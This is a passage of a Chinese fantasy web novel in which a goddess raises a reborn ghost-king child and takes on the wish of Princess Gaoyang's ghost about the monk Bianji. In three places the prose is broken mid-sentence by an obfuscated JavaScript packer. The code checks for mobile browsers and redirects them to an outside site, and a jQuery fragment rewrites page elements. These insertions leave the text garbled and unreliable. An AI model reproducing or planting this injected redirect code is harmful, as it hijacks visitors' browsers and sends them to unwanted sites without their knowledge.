“师傅没空,师傅要去看鸳鸯呢。”晏长书眉眼弯弯,小手使劲儿套牢她。他忽然抬手,遮住声音,小声对苍宁说道:“小娘,鸳鸯有什么意思呀?” 啊? 苍宁不敢置信地低下头,看见晏长书亮晶晶的眼睛。 她确认这是孩童一样天真无邪的眼睛,可是不知道为什么,她偏偏从这句鸳鸯里听出了一丝不符合年纪的语气。 苍宁完全找不到自己的乐子:“就是,一种鸟,通常两只一起行动。” 晏长书歪头:“哦,那跟小娘一样。” 啊?? 晏长书说:“我和小娘一起行动,我们就是鸳鸯,对吧?” 4. 第一桩事·一 苍宁坚持想要进庙内见辨机,可惜辨机法师已经不在屋内。她只好带着一鬼一狗回到大宅子里。 回去的路上,苍宁步伐沉重,她觉得自己作为喜欢找乐子的神,已经逐渐失控。 宅子里没有其他侍从,只有桃枝一个仙在忙活着——全自动炒菜仙法,所有菜色都飘在空中自动切成片或者条状,滚进热油锅中 桃枝热情地端菜上桌:“郎君回来了。来来来,快吃,趁热吃!” 晏长书安安静静站在苍宁身旁,看着桌上的菜色道:“豆腐干?” 看上去是炒豆腐干,炒牛肉,红萝卜炖白萝卜,但实际上每一道菜色都是鬼族所需要的鬼气。 天知道桃枝把那群鬼气塞进去这几盘菜里花了多少功夫。 貔大虎摇了摇尾巴,发出怨怨的哀音,苍宁拎起它的狗头往内屋走,四条狗腿在空中乱甩,最后无力的垂落下来:“嗷呜……” 晏长书看见苍宁一副要教训小黄狗的模样,眨巴眼问:“小娘不吃吗?” 苍宁瞧他圆嘟嘟的小脸一派天真,下一秒就要唱《世上只有小娘好》纯洁又可爱的模样,觉得他语出“鸳鸯”的事情大抵也是孩童式的发散。 在这个时候,一无所知代表无辜。 再说了,哪个大人会和小孩动怒?! 她苍宁是个有格局的,有原则的大人! 苍宁弹他脑门:“你吃你的,别管大人的事。” 晏长书捂住额头,从手指缝中看她,指间的白与瞳仁的黑形成鲜明对比,大眼睛扑闪扑闪,笃定道:“我很快就会长大的!” “你最好是。马上,快点,立刻就能长大……唉。”最好是乖乖长成神界喜欢的样子:不要违法乱纪,和神界对抗。否则苍宁会再一次进鬼界刨了他的坟。 苍宁漫不经心的回应着,转身走了。晏长书在身后一口一个小娘,她也不理了,手里的貔大虎狗脚乱跳,她一个箭步冲到内屋,关上门,把他丢在了桌上。 这里是苍宁的主卧,室内装潢十分简单,看不出任何华贵的痕迹。毕竟是个临时住所。 貔大虎甩甩脑袋,变回金贵的貔貅身子,像人一样两脚着地,抱着手连连叹气。 “这样不是个办法。” 苍宁:“你也知道不是个办法。我说的事儿呢??你不是号称‘最靠谱神兽’?” 貔大虎一屁股坐下来,变出一支烟斗,像个老大爷一样深深吸了一口,金色的鳞片都展开了,眯着眼吐出一个烟圈。 “三个月之前,这片城坊里有几只出了名的恶鬼,鬼界不收,无人敢管。如今那几只鬼,要么被小娃娃吸食了,要么被你净化投胎了。眼瞅着这片城坊中干净得和神机庭一样,我也真是巧貔难为无鬼之炊啊。” “屁话少说。”苍宁指着他道,“你是不知道,桃枝翻着花样把鬼气做成豆腐干,早就不能满足他了。” 她皱眉疑惑,“也不知道他吃这么些怎么还是小小个头,按道理说,鬼族的成长应当和吸食的鬼气相关……” 吸食得越多,长得越快。 还是说,这些鬼气对于鬼王晏长书来说,完全不够呢? “我对鬼族完全不了解。”苍宁拧眉,“这东西和神仙、神兽都完全不一样。情绪化,不知道一天到晚在想些什么。” “我知道你很急,但你先别急——”貔大虎侧躺着,翘着二郎腿,烟斗一划,烟雾散去处,空中显示出几本皱巴巴的古籍。 这几本古籍分别是《侧面管教》《真希望我爹娘读过这本书》《看见孩子真正的需求》《好爹娘胜过好先生》…… 苍宁从空中抽出一本,挑眉翻开,只见里头的字迹充满激情: 没有天生坏的孩子,只有不懂得管教的爹娘。 貔大虎烟斗再一敲,几本古籍徒然落在桌面上,苍宁从破烂书页中露出满是疑惑的双眼:“这都是放屁吧。” “我从凡间寻来的育儿圣经,有你就偷着乐吧。”貔大虎咬着烟斗,咬着烟斗,兴致勃勃地说,“这还不是最重要的。我寻了多日,有个鬼气够重的孤魂野鬼找到我,说是只要愿意完成她的心愿,她愿意成为鬼气被吸食。” 苍宁不理解:“这需要她同意吗?”桃枝每每掐着那些飘散人间的鬼气,都跟杀鸡一样简单明了。 “啧啧,你还是一如既往地没心没肺,神界的慈悲为怀在哪里?” “貔大虎,你和我都是神兽,我看你有多慈悲为怀?那能不能不要金子,给我白打工?” 貔大虎嘿嘿一笑,敲了敲烟灰:“这多见外啊,哪有送到嘴边的金子不要的道理。没有不要好东西的道理。我可得给他伺候好不是?” 苍宁坐在桌边,翻来覆去地倒腾着那几本育儿心经,末了,还是抬头问:“她在哪?” - 貔大虎带鬼来得很迅速。 苍宁特地熄了烛火,只见月光下,那女鬼倚靠在窗前的榻上,简陋的室内装饰丝毫不影响她的雍容华贵,美艳绝伦。 上下三界形形色色的美人儿苍宁见了不少,这一个算不上突出,但也绝不能说过眼就忘。但重点不是她的美貌。 苍宁眸中的赤青色一闪而过,眼刀所到之处,刮起一阵赤青色的火焰。 美人的身体在赤青色中燃烧。 貔大虎急忙道:“你这是干什么!这、这火焰是——?!” 苍宁笑道:“你这个老生意人也有被骗的一天?” 美人掉落在榻下,朝着苍宁所在处匍匐着,寒兰泣露般的美眸看向苍宁,张口求饶:“大人饶命,大人饶命!” 貔大虎咬着咬斗,下意识往后退却,没敢靠近那颜色奇异的火,苍宁看着火焰里的美人,懒懒说道:“她不是这个时空的鬼,你看不出来?” 貔大虎:“这……” 这还真看不出来。 但这女鬼是个好材料,说什么也不能让她白白消失啊! 貔大虎喊道:“别烧了,再烧真灰飞烟灭了!小娃娃的口粮要去哪里找!” 苍宁成功一顿,只见眸中赤青色再度闪过,燎燎火焰已然不见。 美人躺在地上哀泣,看似娇柔无骨,可眼神坚定,从骨子里透出一股倔强。 苍宁没由来地觉得烦躁。也许是一时兴起,也许是貔大虎最后那句话劝动了她急功近利的心,她懒懒散散地勾唇:“我向来不愿和鬼族多说话。但是我允许你报上你的目的。” 美人儿犹若倾倒牡丹,眸光如夜中长灯:“妾身李漱,乃高阳公主。” 高阳公主? 苍宁皱眉道:“你就是人界大唐皇帝的女儿?那个……高阳公主?” “正是。”美人儿抿唇,“如今是贞观二十三年,我死于四年后。来到这此时……只是我的执念和情愿。” “我可以暂且不追问你穿越时空的秘密。”苍宁食指点桌,“貔大虎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029998|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,若完成你的心愿,你自愿献出鬼身?你的交换条件为何事?” 李漱目光灼灼:“辩机。” ……她给晏长书寻的和尚? 苍宁下意识说道:“他不能死。” 辩机死了,她就得再给晏长书找个知行合一,知识渊博,修养上乘的师傅,这可太累了,她不允许自己这么累。 李漱笑道:“辩机自然不能死。大人,您愿意帮妾身,真是好心肠。” — 在苍宁久远的、模糊的记忆里,有一些奇怪的声音一直磨灭不去。 “苍宁,不用这样好心。” “你一个人,如何能救得了那么多人,事事都叫人满意?” 说她没心没肺的人实在太多,她几乎分不清楚自己心底怎么会有这样的声音。 她夜前听见晏长书在背书,什么“关关巨久,在河之周”。 她搞不清楚人间这些四字词语什么意思,准备把《真希望我爹娘读过这本书》好好研究一下。 桃枝端着糖水走进来,亮眼亮晶晶地搓手:“我的大前辈,今天我们亲爱的小鬼王大人有长大吗?” 苍宁无语抬头:“你觉得有吗?” 桃枝像只丧气地败家犬。 在晏长书从婴儿状态顺间长成孩童模样时,他们两个都满怀希望地晏长书可以快速长大。 苍宁希望这项保密任务可以马上结束,为的是解脱。 桃枝希望这项保密任务可以马上结束,为了是升职。 可以说,桃枝比苍宁更希望这个奶呼呼的小鬼王可以顺利健康地长成神界人见人爱的家伙,甚至还幻想过和从前鬼王称兄道弟的场面。“哇哈哈哈了不起的大佬是我带大的!”之类的。 苍宁似乎一眼就看出了他内心毫无依据的幻想,啧了一声:“你别瞎想了,待会儿我要打座,别让狗剩进门。” “平常他念完书都要和前辈跪安的。”桃枝想了想,“说是学来的规矩。要孝敬。” “他要想孝敬我,这辈子就别再当劳什子鬼王,”苍宁把《真希望我爹娘读过这本书》甩给他,“今天你读这个,读完写千字报告,没写完记过。” “前辈!” “闭嘴。”苍宁一脚给桃枝踹了出去。 苍宁听见晏长书的背书声顿了顿,改背了上乘心经,随即想,晏长书上辈子当鬼王的时候可从没背过心经。 烟雾缭绕的鬼族大殿里,苍宁第一次见到晏长书,是在红盖头下。他伸手搀住她,说不上是为了防止她被繁复的红嫁衣绊倒,还是强迫她靠他更近一些。 苍宁盯着那只手。 她从来没有见过这样苍白的手指。 苍白,却有力,中指上戴着蜿蜒的蛇型宝玉,蛇眼如血鲜红,拇指上的板戒上刻着无论如何都让人过目难忘的赤青色卐字。 一介鬼王而已,如何能有这吉祥万德之所集的卐字…… 她几乎是吃惊地抬头,可视线被红盖头挡住,她没办法一眼看清楚他的面容。 他的手透露出与神界全然不同的气息。冰凉得发腻,让她心里有些发毛。 一种死亡的气息。活着的死亡,令她费解。 可晏长书是鬼。鬼就是鬼,不是神,也不是佛。纵使装得再像也不是。 “小心些,神女大人,”红盖头外,他冷漠的声音显得高深莫测,“喜结连理这种事,多来几次便没有意义了。” 5. 第一桩事·二 嫁给晏长书,对于苍宁来说是一件憋屈的事情。 作为三危山上,西王母身旁的青鸾族末裔,她在神界向来颇有地位,也养成了她这副“懒得给所有人好脸色”的状态。 但她身上毕竟还有神族的职责。 这也是为何她会斡旋于神界和鬼界的原因。 她期待晏长书对她很差,像是戏本里面写的那样,在婚后对她百般呵斥,娶上六个美娇娘,这样她就有理由可以讨伐他。 可晏长书对她相敬如宾,除了身居高位过于匆忙外无从指摘。共处一室时,她也无法从他那黄金敷面上看出什么有用的信息。 苍宁期待他犯错。破坏神魔两界的不过她对晏长书缺乏耐心。 她寻了个一等一娇艳女鬼送到他的房里——说实在话,苍宁倒是没有想到会有这么多女鬼想爬上晏长书的床。她觉得和晏长书睡觉没什么特别的。不过新婚那夜她因为好奇摸了摸晏长书的心脏处。原来鬼王是有心跳的,而且,跳得还挺快。 苍宁以为晏长书会收下那个娇滴滴的女鬼。因为她根本就不想和他发生任何关系。鬼族和神族不一样,天生欲望重,总会有需求。 待寝殿的烛光灭了,苍宁推门进去,没看见期待已久的鸳鸯戏梦的精彩场景。 寝殿中空荡荡、黑漆漆的。她走到那座繁复的婚床边,一只手从里边儿撩开了床帘。 床帘绢面上的云蝠纹微微晃动,她顺着那只青筋暴起的手臂,第一次看见了晏长书不着片缕的身子——他的上半身白皙到近乎奇谲,摘下金面罩的面容布满赤金色的鳞纹,看不清本来面目。 那鳞纹蔓延到有力的腰腹,他的下身已然变换成粗.壮的蛇身。 晏长书,竟是一条蛇。 苍宁微微吃惊。 在此之前,她曾听闻鬼族之王没有实体,乃是一团至天至地,至黑至暗的阴鬼之气,因此难以捉摸,变幻莫测。 莫非这也是他变幻之身? 只见晏长书蛇尾一卷,将她圈至床榻上,他浮着卐字的双眸赤青色一闪,她当即失去了意识。 回过神来时,苍宁发觉自己衣衫不整地躺在眼熟的床榻上,两只手也没闲着,正扯着晏长书的衣领…… 欸,衣领?! 晏长书撑着脸侧躺在她旁边。戴上黄金面具的脸庞只露出了棱角分明的下巴。 他的眼睛恢复了平常的黑色,饶有兴味地轻声道:“你醒了。” 苍宁当即清醒了过来,讷讷松开了手:“你,那个我,我找的那个女鬼……” 晏长书低低笑起来。 “你笑什么!” “你沉溺于幻觉。” 苍宁下床的动作一顿:“什么?” 世间有许许多多施展幻术本领的神、魔、妖。人间也常常有需要吸食男人精气的狐妖出现,可是那些术法大多容易被神界察觉。 身为祥瑞的青鸾鸟,她对幻术更加敏感,可是她居然不知道自己是在何时陷入了晏长书的幻术…… 晏长书伸手替她撩开锦被:“娇媚女鬼暂且不用找了。你下去吧。” 苍宁尬笑了两声。 晏长书道:“饿了吗?一会儿我处理完公务,一起吃些?” 苍宁刚睡醒,脑子转得慢,看着他深不见底的黑色眼睛,老半天问出一句:“床上的公务?” 晏长书转了转大拇指的卍字戒指,选择不回答。 但也正是这一次之后,苍宁知道了晏长书幻术的秘密。 当那双眼睛闪过卍字时,便是幻境的开始。 她知道晏长书会用幻术来让她看她想看的,让他知道自己想要知道的信息,为此,她有很长一段时间拒绝看晏长书的眼睛。 眼前的烛火变得绰绰约约,晏长书的声音却变得越来越清晰。 “吃啊吃啊。” 苍宁烦得很。不吃啊,要处理公务自己去处理,不吃! 画面一转,是成人版的晏长书,摇着光滑的蛇尾巴,像幻术里的娇媚鬼娘一样眨着眼睛,扭着腰身扑过来,好看的嘴唇微张,轻轻唤她:“小娘?小娘!” “小娘!” 苍宁猛地惊醒,夜里的冷空气灌进她的身体里,她反射性地咳嗽着,肺里火辣辣地疼。 “小娘,你醒啦。” 苍宁掐了自己一把,疼痛出声,放出神识查探一圈,意识到自己没有在梦境中。刚刚她梦里那个长相俊美,长着蛇尾巴的成熟版晏长书已然不在,换成了一个扒在窗边,皱着包子脸的可爱奶娃娃。 无辜的小晏长书奶声奶气地说道:“小娘,我把豆腐干都吃完了,还温习了师傅布置的经文,我乖吗?” 苍宁还沉浸在刚刚那个恐怖的场景中,敷衍道:“乖乖乖,你最乖。没事来这里干什么?” 晏长书眨巴着黑色的大眼睛:“因为小娘刚刚一直在喊我,我还以为小娘想我了。” “我喊你?” “对啊,”晏长书伸出小胖手,拢在唇边,模仿苍宁的声音:“长书,长书……救命啊救命!小娘就是这样喊我的。” “……”这不是害怕梦里的晏长书会爬过来嘛! “对了小娘,”晏长书笑咪了眼睛,抬起手,“师傅说我有慧根,佛祖一定会喜欢我。我很快就会长大的,就可以保护小娘了。” 苍宁张了张嘴,什么都没有说出来。 还慧根,还佛祖喜欢。 有没有搞错啊。 她得亏是神界里打了招呼出来的,要是把这条蛇丢进佛庙里,不知道哪里的和尚就能直接把它收走,变成一条死翘翘黑蛇。 苍宁一手掐住晏长书的脸,把他脸上的肉挤出来。 看着纯洁无垢的孩童目光,和缩小版的脸蛋,苍宁忽然有种莫名的嘚瑟。好像那个捉摸不透的鬼王已经尽在掌握,可以由她的想法为所欲为。 她摇了摇晏长书的头,说道:“要保护我可不容易。” 晏长书直直看着她。 “首先,你要健康长大。” 晏长书点点头。 “其次,你不能动歪心思。” 小家伙歪脑袋,眨着眼睛问:“什么是歪心思?” “你师傅没教你吗?”苍宁掐他的小脸,“不能做坏事。” 晏长书认真想了想,说道:“人非草木,留有真情,更有立场。对于师傅来说,吃肉是做坏事,可是小娘爱吃肉,就不算坏事。” 苍宁无语:“谁告诉你。” “书上说的。” 三岁看的什么书?她怎么不记得自己给晏长书买过这样的启蒙书籍? “你别看了。” “为什么呀?” “没有为什么。”苍宁抱着手冷脸道,“因为我是很坏很坏的小娘。如果你不听我的话,我就没办法养你了,要把你丢进神机庭的那口井里去。” 晏长书抿着唇。小小年纪,脸上满是不解。 他哼了一声:“小娘好坏。” 然后他吧嗒吧嗒跑远了。 隔远了看,好像一条狗。 事后,貔大虎叼着烟斗腾空换了个姿势,如云的尾巴鬃毛一甩一甩,啧了一声:“挺可爱的。” “可爱个屁。” “没想到你睡着了,在人间很浪费你精力?小娃娃扑在你身边数你的睫毛,怪可爱的,都不愿意吓唬他。” 苍宁眯眼:“被本神的美貌惊艳到愣神了吧……” 貔大虎吐出圆圆的烟圈,低声说:“老实说,鬼王之前戴着金面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029999|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具不知道,现在看这小娃娃,姿容勉强在本大爷之下,排第二吧。” 苍宁不想听,伸手挥开貔大虎的身子,貔大虎的身体化作几缕轻烟,随着爽朗的笑声,自空中飘落下一方绣着鸳鸯的锦帕。 “这是李漱给你的。”貔大虎道,“你先了解了解,再想想要如何完成她的夙愿吧。” “她呢?” “流窜于时空,自然容易被时空吞没。附身都困难,不然也不会来再送一次死了。” “魂飞魄散了?” “那倒还没有。”貔大虎说,“鬼族生命力顽强,最难魂飞魄散,你是知道的。” “小鬼娃娃吃个饭,怎么那么难。” “哼哼哼,这可是送上门来的,珍惜着吧。” 貔大虎最后一抹烟消散在空中,苍宁腾出手接住锦帕,看向上面的字。 “今夜子时,妾身于会昌寺东南角私会辨机,还请大人阻止。若能使二人两心离异。妾身定遵守诺言。” 苍宁仔细一看,这正是绝佳找乐子的戏码。她日夜为晏长书烦恼,可以对男人百般羞辱,岂不是正和她的意? 小憩一会儿后,还未到子时。 苍宁回想起李漱的模样,眼神一转,摇身一变,变作了头梳堕马髻,身着黛色团花对鸟纹锦,团窠对兽纹夹联珠彩蝶半壁的模样。 揽镜自照,许是觉得缺少了什么,她又掐指变出一支粉黛朱笔,对镜描画着额心花钿。 “前辈!!辈辈辈……” 苍宁正捯饬着妆容,桃枝满面笑容地推门进来,看见她的脸忽然一顿,挤出一个苍白的谄媚笑容:“前辈打扮得这么……特别啊。” “怎么?” 桃枝说:“小的写完感想了,特地拿来给前辈看看,请过目。” 什么时候来不好,这个时候来。 苍宁扔给他一本新书:“把这个也看了,一起写完再来。” 桃枝忍不住朝她看过去,脸色缤纷多彩憋得通红。他腿边挤过来一个小小的身影,看着苍宁化妆打扮,往里走了几步。 “小娘,你去找人呀?” 苍宁睨了他一眼:“干什么?” 晏长书盯着她,又问了一遍:“小娘去见谁呀?” “小屁孩别管大人的事。” “我可以帮你的。” 晏长书手脚并用,爬到凳子上,对着镜子问:“小娘让我试试吧。” 晏长书一副笃定的模样,苍宁下意识就相信了他。 她知晓晏长书向来能文会武,更会画画,想来这些技能不曾忘记,不然这小娃娃也不会从小就这般聪明了。 苍宁把笔递给他,弯下身,警告道:“不许乱画。” “嗯,知道了。” 朱笔的触感很凉。晏长书的小手稳得很,不仅画好了花钿,还填上了胭脂,修改了唇脂的位置。 桃枝的表情舒展开,竖起大拇指:“前辈,好看。长书,厉害。” 苍宁偏过头看镜中的自己,浓妆淡抹总相宜,确实不错。 晏长书问:“小娘……是要给我找……爹吗?” “嗯哼。” 苍宁心情大好,整理好发簪,掐了掐晏长书滑溜溜的小脸:“你早点睡。” 她转身要走,晏长书捏住她的齐胸长裙,乖巧道:“苍宁,等一下。” “怎么了?” “还差了一笔。” 晏长书在她倾身而来时熟稔地画上一笔—— 在她花钿处画了一个小小的卍字。 苍宁收了笑容。 晏长书说道:“师傅说,这是有福气的意思。” 他跳下凳子:“小娘今晚肯定会顺顺利利。如果不顺利……最后也会顺利的。” 6. 第一桩事·三 卍字代表顺顺利利没有错。 但是苍宁总觉得有哪里不对劲。 该说不说,直到今天,苍宁还是不明白为什么代表好运和福气的卍字会任由晏长书使用。 夜里竹林森森,斗圆的月亮发出清辉。 苍宁变作李漱的模样,站在会昌寺东南角沉思。 尽管她并不怕冷,她还是搭了一件披风。清冷的空气中,她吐出一阵热气,看见竹影簌簌响动,走来一个眼熟的身影。 苍宁第一次见辨机,就知晓这是个才貌兼得的男子。李漱会喜欢上他,并不奇怪。 但按貔大虎所说,高阳公主李漱会和辨机私相授受,结局很是凄惨:最后辨机将被腰斩,而李漱也被安上造反罪名死去。 李漱是为了改变这个结局而来的。 可是走来的这个眼熟的身影,并不是辨机。 小奶娃娃穿着滚白边披风,和披风一道儿长度。他拍落头上的雪,举起手里的伞,说了两个字便卡壳了:“小娘——” 晏长书愣了一下。 苍宁也愣了一下。 好死不死,趁乱走来的辨机也愣了一下。 愣愣愣之余,辨机看向苍宁变作的李漱,双手合十道:“公主。” 辨机视线低垂着,竹叶阴影顺着月光打在他的身上,愣是让苍宁看出了几分失落的意味。 苍宁明白的。好不容易私会,有个小屁孩在身边总是扫兴。 苍宁不动声色地绕开路上春笋般的晏长书,赶忙迎上去。可晏长书那把伞没有收起来,反而撑在她的面前。 小奶娃娃抱着伞杆杆,肉嘟嘟的脸抬起来,问道:“姐姐,我小娘呢?” 辨机沉眸,笑道:“长书,你跟着你小娘来这里的?” “嗯!小娘打扮得可漂亮了,我来给她送伞的。”晏长书乖乖点头。趁着辨机蹲下身苍宁美目瞪烂了,想要警告他。 她算是知道养孩子是个什么样的活儿了,简直是给自己没事找事。她更惨,这因果里带的,还非得给晏长书伺候一段时间。 这才是她的成神劫吧! 苍宁扶着辨机的肩膀,端端笑道:“那女子我曾见过的,”苍宁随手指了个方向,“往那边去了,你且瞧瞧去?” “哦……”晏长书盯着她,“那我去瞧瞧,谢谢公主。” 晏长书像小狗似的跑远了,硬生生给苍宁加了一场戏。 第二幕正要开始,苍宁不耽误工夫,一点不忌讳地摸上辨机的手,晏晏笑道:“你去哪里?” 辨机垂头看着她的手,并未拒绝。 “你还在犹豫是否去骊山?”苍宁记着貔大虎留下的信息点,直接回绝,“不用思忖了,不去骊山便是了。” “房大人也不去?” “房大人?”这是……谁? 辨机淡淡道:“无论如何,房大人都是殿下的夫君。若按殿下所言,不想惊动旁人,殿下还是同去骊山吧。” 李漱竟然有夫君?! 短暂的惊讶过后,苍宁松开了手,垂下脸。 冷冷的月光下,她尖尖的小脸呈现出清幽的蓝色,倒映着湖泊上浅浅的蓝光。 “难道你不知道,那不是我的夫君。” 辨机眉心一跳。 “我爱的人,才是我的夫君。那个人是谁,你会不知道?” 苍宁眼中带着清浅的热泪,沾得眼睫湿湿点点。她正演得入神,腿弯处忽然飞扑过来一个玩意儿,用力抱住了她的腿。 “姐姐,我小娘不见了!” 苍宁气得嘴角抖了抖。 这是干什么? 这是干什么! 该死的晏长书知不知道她在为什么努力! 辨机道:“今日不宜久留,公主先回吧。” “等等。”苍宁留住他,“你先别走。” “后日下学,贫僧许有时间……” 苍宁连忙应下来:“好,就后日下学时。” 辨机匆匆离开。 苍宁把小奶娃娃抓过来,揉团子一样翻来覆去地折磨他的脸,自己已经变回了苍宁的模样。 她咬牙切齿地微笑:“我的狗剩啊,我配拥有一个自由的演出环境吗?” 晏长书的小脸被拉长揉扁,伸出手指向身后:“小娘,姐姐要冻死了,我们快去帮帮她吧。” “谁?” “公主呀。” 苍宁停下作乱的手,晏长书乖乖凑上去,卖了个功劳:“姐姐当时要过来,我帮小娘阻止了姐姐哦。小娘,我乖不乖?” 对了,现在这个时间线,还有一个真实的李漱。 苍宁立马起身,穿过竹林,来到幽僻的湖边。身着宫装的李漱躺在地上,神情肃穆,和成为鬼的时候全然不同。 湖前边隐隐传来灯光和宫女的低呼声。 苍宁伸手抱起李漱,将她转移到寺庙院落中,假装成喝茶睡着的模样。 她替李漱拂落宫装上的雪,掐着她的下巴定睛一看。 若说是正常睡着,她抱着李漱飞檐走壁时,李漱也许有苏醒的迹象。 可是李漱现在分明是昏迷。 苍宁放出神识,浅探一圈,听见门口来人,不由隐去身形,回到湖边。 小小的晏长书正坐在栏杆上,摆弄着两条小腿,回头看她,眸子弯弯:“你回来了。” 苍宁按住他的头:“你对她用了幻术?” 晏长书眨巴眼睛:“什么幻术?” 苍宁神情严肃,并不像往常一样不耐烦。 她凑得又近,晏长书小脸被冻得通红,想了想:“师傅没有教幻术呀。” 小小的孩子不像是说谎,苍宁暂且不追究此事。她想抱晏长书下来,这小家伙却不让跑,非得自己下来。 他抓住她的衣角,状似懵懵懂懂地问:“小娘,师傅是不是喜欢公主呀。” “是吧。” “可按照大唐的律例。师傅是和尚,不可以和旁人成亲,更不能和已经嫁人的公主成亲。” 苍宁无语:“你一天到晚的研究这个了?” “这样是不是在做错的事呢?” “你说得对,”苍宁说,“等这事儿了结了,我就给你另找一个师傅。和尚想姻缘,不靠谱。” 晏长书若有所思:“小娘不是和我说,不能做坏事吗,为什么小娘要去和师傅说话,一起做坏事呢?” 你懂个屁。 苍宁在心里默默骂了晏长书一万遍。 现在给我整这死出。要不是你晏长书是鬼王,还能有这么多事情吗?要不是你身为鬼王屠了那么多条性命,我当初能被派下来执行任务吗? “当然是因为……”苍宁顿了顿,想到晏长书之前用来反驳她的话,“我们立场不同。我帮的是高阳公主李漱,为的是他们两个能够顺利改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030000|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变命运。” “真的能改变吗?”晏长书问道。 苍宁忍了忍。 改变个屁。 要是这么容易就能改变,司命星君恐怕是要拿着刀子来和她会一会了。 时也,命也。 不是正确的时间,怎么改都没得改。 晏长书显然很乖,很听话。他伸手抓住苍宁的食指,说道:“那还是快一点吧。我想要个神仙师傅,少吃点豆腐干,这样就能快点长大了。” 苍宁斜了他一眼。 ——小屁孩。 - 回到屋子里之后,桃枝正抓耳挠腮看着手里的育儿心经。 苍宁觉得累,让桃枝带晏长书去睡觉,晏长书临走前还摇了摇苍宁的手:“小娘也要好好休息。” 苍宁瘫在椅子上,挥了挥手。 貔大虎带着鬼身李漱出现,李漱沉默不语,貔大虎深深吸了一口烟,缓缓吐出来:“造孽啊……” “造什么孽。不是我造的孽。”苍宁抢过他的金色长烟斗,猛吸一口。 咳咳咳…… 这不是普通的烟,而是人间供奉的香火味儿。 “你哪儿偷来的香火?!” 貔大虎摇脑袋:“瑞兽的事儿,怎么能叫偷呢?土地神都得给我分一口啊。你们青鸾一族飞在空中,不往地上看,咱貔貅常在人间,得接地气呀。” 苍宁把烟斗还给他:“没个瑞兽样儿。” “哪儿能啊,我这纯纯做好事啊。”貔大虎掂了掂长烟斗,将里头的香火抖得乱跳,“说说,怎么一脸不高兴。” 苍宁沉默半晌,说道:“咱俩谁跟谁,我看也别演戏了。我摊牌了。” “嗯哼。” “逆天改命,根本没戏。一辈子别想。”苍宁转头看向坐在凳子上的李漱,“你用鬼的一辈子,更没戏。” “如何说?” “别告诉我你真信这套。” 貔大虎嘿嘿道:“干嘛不信。我们貔貅一族能信的事儿,可都是好事儿。” “你就是为了我的那堆金子。”苍宁闭上眼,“只有我知道,金子在哪里。你自己找不到的。” 李漱忽然插话:“当真没可能吗?” “当然不可能。”苍宁说,“你生前是李漱,死后还是李漱。你回到过去,改变不了未来。因果便是这样。” “若我非要果因呢?” 貔大虎咬着烟嘴不说话。 苍宁摘下披肩,笑了一声:“若你非要果因?” 莫名奇妙的,这句话让苍宁感觉十分不舒服。她说不上来五脏六腑哪里来的难受,但总之,她觉得她的神经在发胀,脑袋在发热,刚刚从寒冷中抽身而出的四肢都因为步入温暖而变得发烫。 最终,在她自己都不理解的时候,她脱口而出:“天地道法,你又算什么东西?” 貔大虎的长烟斗敲了敲桌子,及时打断:“苍宁,这是说好的买卖。” 于是,像是有一方警钟一般,苍宁停下了莫名的不理智。 她深吸一口气,叹道:“我本不需要完成这个愚蠢的愿望。” “你是瑞兽,和我一样。”貔大虎道,“哈哈,就算有想要的东西,也没办法坐以待毙,真麻烦啊。” 李漱问道:“大人……” 苍宁:“我会给你们一场逼真的梦境。让还活着的你,看见你的未来。” 7. 第一桩事·四 苍宁偶尔会回想起晏长书躺在棺材里的模样。 成神劫前日,她特地去鬼界扒了他的坟,搅了他的安宁。 她伸手掏他的心时,有一点犹豫。 过了两秒,她想起来,晏长书的魄丹应当在丹田处。 于是她抽回手,沾着泥泞暗血的手,将他的魄丹掏了出来。 鬼侍呜呜直哭:“别扒了,大人,别扒了!” 她一袭白衣沾着血,底下噗通噗通跪着一群鬼。她捏着那枚像石子一样平平无奇的魄丹时,觉得有一种丰盈的气息填满四肢百骸。 她要成神了。 这一次。 她笑起来,拍了拍晏长书的脸。 他苍白的脸颊沾着粘稠的血迹。苍宁抚过他的嘴唇,慢慢低下头,在他耳边低语。 “这一趟还是很值得的,晏长书。”她吻了吻他冰冷的唇,“如果再来一次,我还会让你死去。” ——既然他本来就要死去的话……这样很方便。 当死亡可以转移为自己的利益,她后知后觉地发现命定的结局自有命定的原因。 那就没有什么不好。 晏长书死了。 神界会如愿,她也能成神。 后半夜寂静无声,苍宁闭上双眼,躺在床榻上。不稍时,她神识一动,感到有一个熟悉的微小意识在朝她靠近。 很谨慎,却并不讨厌。 慢慢地,阴影中出现了两颗豆大的眼睛。圆溜溜的,小蛇的眼睛。 苍宁被小蛇愣愣的神情逗笑了。 